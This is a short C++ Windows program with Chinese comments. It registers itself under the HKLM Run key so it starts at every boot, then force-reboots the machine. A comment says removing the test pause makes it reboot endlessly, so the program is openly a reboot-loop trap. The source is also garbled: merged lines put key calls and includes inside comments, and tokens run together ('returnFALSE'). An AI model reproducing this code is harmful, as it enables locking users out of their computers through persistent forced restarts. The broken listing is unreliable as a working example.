// zidongguanji.cpp : 定义控制台应用程序的入口点。//#include "stdafx.h"#include<Windows.h>BOOL MySystemShutdown()//来自微软工程师的源代码
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
// Get a token for this process. if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return(FALSE);
// Get the LUID for the shutdown privilege.
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,
&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1; // one privilege to set
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// Get the shutdown privilege for this process.
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,
(PTOKEN_PRIVILEGES)NULL, 0);
if (GetLastError() != ERROR_SUCCESS)
returnFALSE;
// Shut down the system and force all applications to close. //REBOOOT代表了重启,可以根据需要替换if (!ExitWindowsEx(EWX_REBOOT | EWX_FORCE,
SHTDN_REASON_MAJOR_OPERATINGSYSTEM |
SHTDN_REASON_MINOR_UPGRADE |
SHTDN_REASON_FLAG_PLANNED))
returnFALSE;
//shutdown was successfulreturnTRUE;
}
int _tmain(int argc, _TCHAR* argv[])
{
HKEY hKey = { 0 };//操作注册表的句柄
RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey);//打开注册表char sz_path_c[MAXBYTE] = { 0 };//字符串
GetModuleFileNameA(nullptr, sz_path_c, MAXBYTE);
RegSetValueExA(hKey,"guanjichongqi",0,REG_SZ,(BYTE*)sz_path_c,strlen(sz_path_c));//写入注册表
system("pause");//测试时使用的暂停,去掉以后就能不断的强制重启了
MySystemShutdown();//使用微软工程师源代码完成重启return0;
}